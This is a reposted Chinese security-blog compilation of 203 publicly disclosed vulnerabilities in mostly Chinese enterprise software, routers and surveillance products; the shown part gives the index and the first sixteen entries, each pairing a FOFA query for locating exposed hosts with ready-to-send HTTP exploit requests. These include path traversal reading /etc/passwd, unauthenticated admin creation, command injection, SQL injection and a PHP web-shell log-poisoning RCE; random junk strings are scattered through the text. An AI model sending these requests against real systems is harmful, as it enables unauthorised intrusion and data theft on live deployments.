互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
- W6 m& t" H% q2 p道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界
1 Y7 V$ z  v) w! B. {7 _! D# i
  L2 |/ k. i8 {0 K( m# h发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
& F1 z' Q( o" d( S
. i5 z$ c6 m) g4 j# ^$ I漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
/ c$ t0 r, e8 L% r
安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
- e8 i+ S9 q: q5 n) w) z& F
, s6 L/ Z( Q5 t$ `4 [7 Z# b合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
" }  k! D0 j# A( Y5 I6 P! ?

声明
3 E, }1 U4 i3 c  v- h
7 m2 ^4 t0 A! N: l; k为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
! u) b& i" q8 L
$ N. J9 ~9 b' z, u3 N8 M/ X3 ^有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
% X1 X3 K+ C5 Z0 J; v/ \
) I: v9 ]2 f3 E! T5 I

目录

01

4 x4 W: F4 w) a3 F+ G/ J( P' R6 F1. StarRocks MPP数据库未授权访问
- K" Y/ O* D0 |; ~9 n( p) Q2. Casdoor系统static任意文件读取
, m) j/ Z5 O0 O% V/ y7 w$ m+ k3. EasyCVR智能边缘网关 userlist 信息泄漏
. X- ^5 @6 g" ^3 l/ @: t5 ?4. EasyCVR视频管理平台存在任意用户添加
( {: N$ ]# H  C6 r4 A8 z# z; U5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
$ T' u8 N: S- ]& i7 R7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
+ T: @# \+ l9 R  {4 L2 k5 k7 C14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
1 X$ m+ b: L) t- D19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
9 l3 Y% D7 o; x* v% Y20. 大华ICC智能物联综合管理平台任意文件读取
3 L- f& h" ~6 h! x21. 大华ICC智能物联综合管理平台random远程代码执行
- j' g( M: h. I: R2 B% W22. 大华ICC智能物联综合管理平台 log4j远程代码执行
& C6 `- _  z( q# L& M, t3 O/ F23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
1 h% ^: |: G6 j3 g1 c24. 用友NC 6.5 accept.jsp任意文件上传
) G- ~' e& R$ a0 q25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
7 q& V7 X& B3 |3 M  L. m# S27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
- O" N* |5 j- ?: n34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
  L! y" m- b8 o4 A3 I37. 用友NC-Cloud IUpdateService XXE
# u( P8 g* {- |5 h0 r8 S9 {# o, z* n38. 用友U8 Cloud smartweb2.RPC.d XXE
9 K$ j# Q# H! I' y39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
4 T- A5 o) S$ P; n42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
% s. h& y% j) K44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
# L4 D, {  F0 S( E0 K46. 用友GRP-U8 sqcxIndex.jsp SQL注入
0 a4 D5 q- c& L/ N' s47. 用友GRP A++Cloud 政府财务云 任意文件读取
5 }9 }( e. y5 H* K' p48. 用友U8 CRM swfupload 任意文件上传
2 p8 F4 |( q. y. Z( O  t49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
* S# j* {' Y2 z' k4 S6 Q) c; A% W52. 泛微E-Office json_common.php sql注入
: D) q4 L; }- m% w7 j& r* ~5 H53. 迪普 DPTech VPN Service 任意文件上传
0 r. x. }9 X( _5 M& g3 G54. 畅捷通T+ getstorewarehousebystore 远程代码执行
- a7 [' O" W6 C, C+ w  Y55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
3 c( \, m! F9 t! ^3 ?57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
$ p0 i- |4 U7 Q. v3 m) ?59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
. a, R+ ]% k, Z, v; N; r3 ]60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
' a  g! X9 L3 j; m8 C" K/ J" p4 M63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
* \' Z0 _4 m, S0 h; {3 w66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
4 q, f& r$ \9 K2 t68. 万户ezOFFICE wf_printnum.jsp SQL注入
3 k+ a6 D4 f: d$ k6 j69. 万户 ezOFFICE contract_gd.jsp SQL注入
( u2 @& \" B, B70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
: m' y1 @$ Q) P$ w3 X5 h1 d74. 致远M3-server 6_1sp1 反序列化RCE
) A2 E9 H7 ?. p! S- _) H. O2 x75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
9 h6 Y( f8 p- n8 S! A8 s77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
+ S, l# S! E( G! z79. BYTEVALUE 百为流控路由器远程命令执行
! H, l- a( h5 G; x80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
5 A# W8 C6 t( H) g9 K4 [3 g83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
6 ^/ [- a% m, i* g6 |89. 致远互联FE协作办公平台editflow_manager存在sql注入
, G, ~% [- l3 }- U; d90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
9 _/ t* O7 f( t8 V# C92. 海康威视运行管理中心session命令执行
) V- p% }5 G- A: f93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
( B( H7 }5 f, u0 Z94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
7 J/ V3 B! w# f( z7 L4 B) q95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
) s+ t% u3 b: R9 Y$ d5 n% c96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
7 V! I" ?9 ?+ ]( F99. Ncast盈可视高清智能录播系统busiFacade RCE
  u0 K3 X! B0 W! u+ G; w100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
7 J9 e! ]! P9 ^103. Ivanti Pulse Connect Secure VPN XXE
& \: a; e2 N& R* i" d104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
& ?7 Y  d' y) J1 [3 n( f105. SpringBlade v3.2.0 export-user SQL 注入
; C# u, o' Z  p8 k106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
# S0 [# x/ X# a! S( {108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
/ c4 m2 R4 _$ ?110. Goanywhere MFT 未授权创建管理员
" L9 J( a: e  K, D111. WordPress Plugin HTML5 Video Player SQL注入
112. WordPress Plugin NotificationX SQL 注入
# g7 _) U9 D7 C113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
) y# g, G) W' `9 g9 K( Y; Z7 b115. WordPress Bricks Builder <= 1.9.6 RCE
116. wordpress js-support-ticket文件上传
6 |4 b& s: @* u8 T& T117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
0 \2 l6 y/ ^, {7 R8 z119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
7 z7 N8 q0 J3 d. B6 ~/ m121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
3 }1 Q7 Y- s0 p+ v+ f5 p* m125. ConnectWise ScreenConnect身份验证绕过
- |: f; F8 K8 a! I( k* |  T126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
128. Adobe ColdFusion 反序列化
$ d' h/ o( B& p& h129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
0 D& q0 Q2 Z$ R4 {2 D$ [* F136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
) `$ Y3 Z7 `$ H- m141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
5 s9 b& |, ?1 F) {4 l9 t3 K142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
" ~+ p% f* ?% [+ |' T# Y( K145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
9 y0 A: H' i: m; d147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
5 }& d) H3 j! L- _6 u  S# w149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
! R" p+ S9 a% ~- q) f3 k! [  j1 q5 L151. AJ-Report 1.4.1 pageList sql注入
152. Progress Kemp LoadMaster 远程命令执行
. V! H: B9 k: t, M' h2 |" P/ K0 B153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
% C7 d9 _# X1 x" [1 q% {& v4 q/ Z156. TBK DVR-4104/DVR-4216 操作系统命令注入
" l/ U4 `/ O1 h: e157. 美特CRM upload.jsp 任意文件上传
9 i4 t2 J% U2 G+ ]' j+ k* w8 i0 @; E158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
9 I) n0 f( _1 J$ u- f& o5 A8 {160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
) A2 B) j) L3 }: O) t! J! l' P162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
' l) P5 `5 \$ o2 v' K+ y' n+ T+ ?( W166. 中成科信票务管理平台SeatMapHandler SQL注入
3 A% t' q0 f. p+ Q" Q- C' j167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
. d2 @, W) `) c# _' w169. 宏景EHR downlawbase SQL注入
$ B: S; T- `8 V  F/ N170. 宏景EHR DisplayExcelCustomReport 任意文件读取
! ^8 h6 o  h2 A7 ?4 O171. 通天星CMSV6车载定位监控平台 SQL注入
/ J: ^7 T( ~$ H5 s( v& [172. DT-高清车牌识别摄像机任意文件读取
% S3 P4 F+ U2 B7 q173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
  d: H* k# o+ \" c1 C' p, E175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
5 M, E& [) o/ o4 n+ S0 e6 h" b178. H3C校园网自助服务系统-flexfileupload-任意文件上传
4 z# n) h, X& a6 {" u2 M+ i179. 建文工程管理系统存在任意文件读取
) _( r) ?  i8 `+ a8 [" f& \180. 帮管客 CRM jiliyu SQL注入
* s" U6 P- Z) a( R2 u181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
1 |8 L- N9 z8 j' Q182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
+ m3 p9 ^& o" D) v. o183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
' X$ D/ k- I( r) @4 g% \6 H9 J188. 叁体-佳会视频会议 attachment 任意文件读取
7 r' i+ l# N8 G# w- r189. 蓝网科技临床浏览系统 deleteStudy SQL注入
3 O# h: u" f  H) c$ E190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
$ E0 L% B7 c& j2 }% c192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
8 o& Y3 q, D& U7 s5 N193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
8 _9 q$ Z) |0 H9 N0 ?194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
0 n  o/ }* q+ K0 e5 l* n195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
( h2 T; X9 W, q8 i5 r199. cockpit系统assetsmanager_upload接口 文件上传
3 l, |: Z: g( B200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
- P$ C# Z3 n8 l8 @2 n. I' [% s- J202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传
- q' y& A: G; J4 ]) D, j
POC列表
3 G. F% Q$ X: g" k& x2 G
02
7 J) e; S2 H# M5 [
1. StarRocks MPP数据库未授权访问
; y: ]- K+ u7 P' u, k* B6 [FOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
# r& Y& \7 G8 ~% E% D: fHost: URL
1 {. J2 q4 A3 V" x+ E7 L& L: y

2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
& G! }9 W3 z- O' V7 MGET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
5 b" H: w$ r: a1 c( a! f5 RConnection: close
Accept: */*
) m, w; m% t2 l( i  K: c! ZAccept-Language: en
: ~- P6 F; a# J$ X- d6 LAccept-Encoding: gzip


5 n' @! F! e, N2 X# Z% S5 |3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
3 p8 Y  }- b. D9 M) pGET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx

7 l5 n. \" E+ l
4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"

password更改为自己的密码md5
/ E: `0 k5 ]" F" G2 u3 cPOST /api/v1/adduser HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
# Q* n6 M7 k, [. a' K9 S8 u
# B3 [- R8 J$ D/ q( b- e. W4 b% Qname=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1


5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
; [( p) G$ Z  PGET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
; S4 m& `* ]% E2 K' O- W! Y/ P1 {- eHost: xx.xx.xx.xx
2 G# D" i# g3 V7 ~

6. 深信服 NGAF 任意文件读取
0 h# [* _' V. MFOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
$ i, a" v' d. L2 @& OHost:
1 o% a% h7 o. ^3 g
1 e* e- o" {1 B  a
7. 鸿运主动安全监控云平台任意文件下载
% |) n- v6 w7 s# I) ^) WFOFA：body="./open/webApi.html"
5 V' ]  L: Y8 b* h, F/ W/ VGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:
% ^( N  e& G! h
6 O' k6 s, u7 h  A# N
8. 斐讯 Phicomm 路由器RCE
1 {* C6 w& e2 d: u- H" kFOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
, ]' I( P* u( G0 n" R& sHost: x.x.x.x
7 O+ J; I- z, z* V3 G: [9 b, x6 wCookie: sysauth=第一步登录获取的cookie
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
- a4 W5 s" I& x6 {, C; e, J! JUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"
' L) i9 d( s% n% _9 N) A
%s
0 L# T1 z' ?1 Q% v, [------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"
+ s9 p5 @- f% o& ~& \
( b5 Q; v( x+ i1 t9 Y9 ~( U- t& y12:00; id;
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"
, V+ G% v- r  w( F; z4 }. F- a* q$ s
%s:
* Q9 V* W' d, ~& F" J------WebKitFormBoundaryxbgjoytz
1 P4 J4 v; D6 D! e" {6 @; L# wContent-Disposition: form-data; name="cururl2"
5 U2 F6 H& C& t# \/ P
$ I' U9 t9 q6 R$ H. [
4 a$ v: I6 e0 @------WebKitFormBoundaryxbgjoytz--

4 [0 z4 [; B# A7 P9 {) s1 X8 N
9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
$ m3 Q, a( z4 X9 q) _. uGET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
( q$ h+ u5 B, {: v, X# p3 w6 ~Host: x.x.x.x
: _, `- r' U- @$ e' |# O
. M: Z( u3 ~) }- C; ~- Z& Q
payload为下列语句的二次Url编码

4 W, A+ F& K: w/ h2 ?' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

0 k7 w$ l  ~  ^- L. a4 E: `10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
FOFA：icon_hash="953405444"

文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
; G, H# s  T8 \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
! h. s% Z/ L1 W$ TContent-Length: 197
2 Q5 v3 R. r3 SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
! h: F! M; f  \% D' K% `Accept-Language: zh-CN,zh;q=0.9
Connection: close
2 M7 |) `  g7 a3 d8 t, @* CContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

) B# o+ P% @; b1 Y------WebKitFormBoundaryxdgaqmqu
) a. a* R- ]* I! i3 W' G$ vContent-Disposition: form-data; name="file"filename="icfitnya.txt"
7 b4 |1 i, e1 E$ A. M6 {Content-Type: text/html

5 ~8 e* d- U7 u3 Y* M: Gjmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--
/ ]9 o$ j) Y% n

: w* [0 T' t! i5 f# i11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
* G, l7 y" z+ QFOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
2 j) I+ \6 h" s) b! jGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
Host: 127.0.0.1
. \- c+ k5 C( f, p; rPragma: no-cache
Cache-Control: no-cache
) k( i) b) J/ N5 |; M$ x; dUpgrade-Insecure-Requests: 1
, _1 [9 p4 n. o. F1 iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
0 q1 W2 o; `1 }2 i& g# \Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 o( B, o! L8 L" n7 WAccept-Encoding: gzip, deflate
" p, W& ?6 L7 J# \5 e1 AAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
! i. G" R0 U) t; U) N4 e$ Y9 a% yConnection: close


12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
第一步先拿到cookie
. Y9 l  k$ e' K* M! nGET /session/login HTTP/1.1
  u: q$ u/ V/ N0 n/ kHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
: O  L8 g# G' ]8 vConnection: close
Accept-Encoding: gzip

. s! z5 _& T9 d1 w  D
8 C; v9 m, [+ `$ R4 L响应中csrf_cookie_jorani用于后续请求
7 e+ X8 n- \; l  Y/ ?( l  h5 O, F" Q% OHTTP/1.1 200 OK
4 ^, g6 f$ c, b  L' K& BConnection: close
7 {0 Z. d1 U% \2 E) {Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
7 U, m' G7 M/ b3 `9 e# N- _2 wLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
Server: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding
5 O% C  B! Z- N7 a

POST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
% @( G7 j/ |% r  o+ A8 K) E1 PConnection: close
Content-Length: 252
Content-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip

  U- f0 k" w; D, fcsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor

. o; E" Y2 t5 d! X9 D$ A
# U0 F. l- Y( t5 P7 v* R- V/ g# M" z
/ f" p. K8 E* h向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
* {3 K) ~& T* N! bGET /pages/view/log-2023-10-24 HTTP/1.1
& Q# L+ s& }1 I- R1 k9 E. q/ e; i9 o1 hHost: 192.168.190.30
% p: ^: ~6 r4 g1 L! i& s" F' SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
1 v  Y5 o% m) n$ U. O! H7 t0 M' iConnection: close
+ l8 ?7 n9 ?' NCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
4 d3 h: j6 [6 Q) PK1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
/ r% F/ s. C/ r: ^( b- R6 }+ F& w' w- ZAccept-Encoding: gzip


13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
8 n0 }4 G/ C/ S+ ~GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
. H" V: K( C! h0 rAccept-Encoding: gzip
# J  O" a" O- c9 k" m# t4 D3 Q4 b

/ p2 N; k, g: ]14. 华夏ERP（jshERP）敏感信息泄露
3 J% G* o7 n  J2 V- U6 fFOFA：body="jshERP-boot"
# x8 @- b" E9 P& n: c3 y泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
& G# T. D& _+ l! P5 L- h! fUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
6 H: a1 H6 U4 l' }8 R2 {Connection: close
7 H8 j* H; j; N1 f1 J5 PAccept: */*
Accept-Language: en
Accept-Encoding: gzip
1 D) Y9 l2 J( N; p) }+ Y* N* d
0 O5 f9 s7 |4 R/ }8 M1 T
15. 华夏ERP getAllList信息泄露
CVE-2024-0490
FOFA：body="jshERP-boot"
/ n" [" D; x/ W7 G( u( m* \泄露内容包括用户名密码
) `5 Q% A0 {/ x( u5 V4 ]GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
: Z! [1 e$ w" ?5 |# ]Host: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
: ~. N1 _0 b* z* X5 V: ]Connection: close
8 P1 s6 ^5 L8 L* ~# LAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
! [2 z7 @& j# S$ G* JAccept-Language: en
sec-ch-ua-platform: Windows
) }- }8 b4 ?' c( \" i( W; I) G2 aAccept-Encoding: gzip


. L1 v3 F, U9 e4 F16.  红帆HFOffice医微云SQL注入
& n! t: B9 Z! F- S" KFOFA：title="HFOffice"
